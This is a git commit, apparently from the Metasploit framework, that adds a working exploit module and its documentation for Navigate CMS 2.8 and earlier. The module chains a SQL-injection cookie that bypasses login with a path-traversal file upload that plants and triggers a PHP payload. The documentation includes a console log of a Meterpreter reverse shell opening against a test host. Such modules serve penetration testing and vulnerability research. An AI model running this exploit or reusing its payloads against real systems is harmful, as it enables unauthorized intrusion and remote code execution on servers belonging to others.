Land #10704, Navigate CMS Unauthenticated RCE
commit
8b955f8ec5
|
@ -0,0 +1,44 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This module exploits insufficient sanitization in the database::protect method, of Navigate CMS versions 2.8 and prior, to bypass authentication.
|
||||||
|
It then uses a path traversal vulnerability in navigate_upload.php that allows authenticated users to upload PHP files to arbitrary locations.
|
||||||
|
Together these vulnerabilities allow an unauthenticated attacker to execute arbitrary PHP code remotely.
|
||||||
|
|
||||||
|
This module was tested against Navigate CMS 2.8.
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
[Navigate CMS 2.8](https://master.dl.sourceforge.net/project/navigatecms/releases/navigate-2.8r1302.zip)
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Install Navigate CMS
|
||||||
|
2. Start `msfconsole`
|
||||||
|
3. `use exploit/multi/http/navigate_cms_rce`
|
||||||
|
4. `set RHOST <rhost>`
|
||||||
|
5. `check`
|
||||||
|
6. You should see `The target appears to be vulnerable.`
|
||||||
|
7. `exploit`
|
||||||
|
8. You should get a meterpreter session
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Navigate CMS on Ubuntu 18.04
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use exploit/multi/http/navigate_cms_rce
|
||||||
|
msf5 exploit(multi/http/navigate_cms_rce) > set RHOST 192.168.178.45
|
||||||
|
RHOST => 192.168.178.45
|
||||||
|
msf5 exploit(multi/http/navigate_cms_rce) > check
|
||||||
|
[*] 192.168.178.45:80 The target appears to be vulnerable.
|
||||||
|
msf5 exploit(multi/http/navigate_cms_rce) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 192.168.178.35:4444
|
||||||
|
[+] Login bypass successful
|
||||||
|
[+] Upload successful
|
||||||
|
[*] Triggering payload...
|
||||||
|
[*] Sending stage (37775 bytes) to 192.168.178.45
|
||||||
|
[*] Meterpreter session 1 opened (192.168.178.35:4444 -> 192.168.178.45:52720) at 2018-09-26 22:24:59 +0200
|
||||||
|
|
||||||
|
meterpreter >
|
||||||
|
```
|
|
@ -0,0 +1,128 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Navigate CMS Unauthenticated Remote Code Execution',
|
||||||
|
'Description' => %q(
|
||||||
|
This module exploits insufficient sanitization in the database::protect
|
||||||
|
method, of Navigate CMS versions 2.8 and prior, to bypass authentication.
|
||||||
|
|
||||||
|
The module then uses a path traversal vulnerability in navigate_upload.php
|
||||||
|
that allows authenticated users to upload PHP files to arbitrary locations.
|
||||||
|
Together these vulnerabilities allow an unauthenticated attacker to
|
||||||
|
execute arbitrary PHP code remotely.
|
||||||
|
|
||||||
|
This module was tested against Navigate CMS 2.8.
|
||||||
|
),
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Pyriphlegethon' # Discovery / msf module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2018-17552'], # Authentication bypass
|
||||||
|
['CVE', '2018-17553'] # File upload
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'Platform' => ['php'],
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['Automatic', {}]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Sep 26 2018'))
|
||||||
|
|
||||||
|
register_options [
|
||||||
|
OptString.new('TARGETURI', [true, 'Base Navigate CMS directory path', '/navigate/']),
|
||||||
|
]
|
||||||
|
end
|
||||||
|
|
||||||
|
def login_bypass
|
||||||
|
check_resp = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, '/login.php')
|
||||||
|
)
|
||||||
|
|
||||||
|
login_bypass_resp = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, '/login.php'),
|
||||||
|
'cookie' => 'navigate-user=\" OR TRUE--%20'
|
||||||
|
)
|
||||||
|
|
||||||
|
if login_bypass_resp &&
|
||||||
|
login_bypass_resp.code == 302 &&
|
||||||
|
check_resp.body.include?('Navigate CMS')
|
||||||
|
session_id = login_bypass_resp.get_cookies_parsed
|
||||||
|
.values.select { |v| v.to_s.include?('NVSID_') }
|
||||||
|
.first.first
|
||||||
|
return session_id
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
return CheckCode::Vulnerable if login_bypass
|
||||||
|
CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
session_id = login_bypass
|
||||||
|
fail_with(Failure::NoAccess, 'Login bypass failed') unless session_id
|
||||||
|
|
||||||
|
print_good('Login bypass successful')
|
||||||
|
|
||||||
|
php = payload.encoded
|
||||||
|
data = Rex::MIME::Message.new
|
||||||
|
data.add_part(php, 'image/jpeg', nil,
|
||||||
|
"form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(10..15)}\"")
|
||||||
|
data_post = data.to_s
|
||||||
|
|
||||||
|
upload = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, '/navigate_upload.php'),
|
||||||
|
'vars_get' => Hash[{
|
||||||
|
'session_id' => session_id,
|
||||||
|
'engine' => 'picnik',
|
||||||
|
'id' => '../../../navigate_info.php'
|
||||||
|
}.to_a.shuffle],
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||||
|
'data' => data_post
|
||||||
|
)
|
||||||
|
|
||||||
|
fail_with(Failure::Unreachable, 'Unable to reach target') unless upload
|
||||||
|
fail_with(Failure::Unknown, 'Upload unsuccessful') unless upload.code == 200
|
||||||
|
|
||||||
|
print_good('Upload successful')
|
||||||
|
|
||||||
|
print_status('Triggering payload...')
|
||||||
|
send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, '/navigate_info.php')
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_new_session(session)
|
||||||
|
super
|
||||||
|
if session.type != 'meterpreter'
|
||||||
|
print_error('Unable to restore navigate_info.php')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
session.core.use('stdapi') if !session.ext.aliases.include?('stdapi')
|
||||||
|
|
||||||
|
begin
|
||||||
|
session.fs.file.open('navigate_info.php', 'w').write("<?php\n\nphpinfo();\n\n?>")
|
||||||
|
rescue
|
||||||
|
print_error('Unable to restore navigate_info.php')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue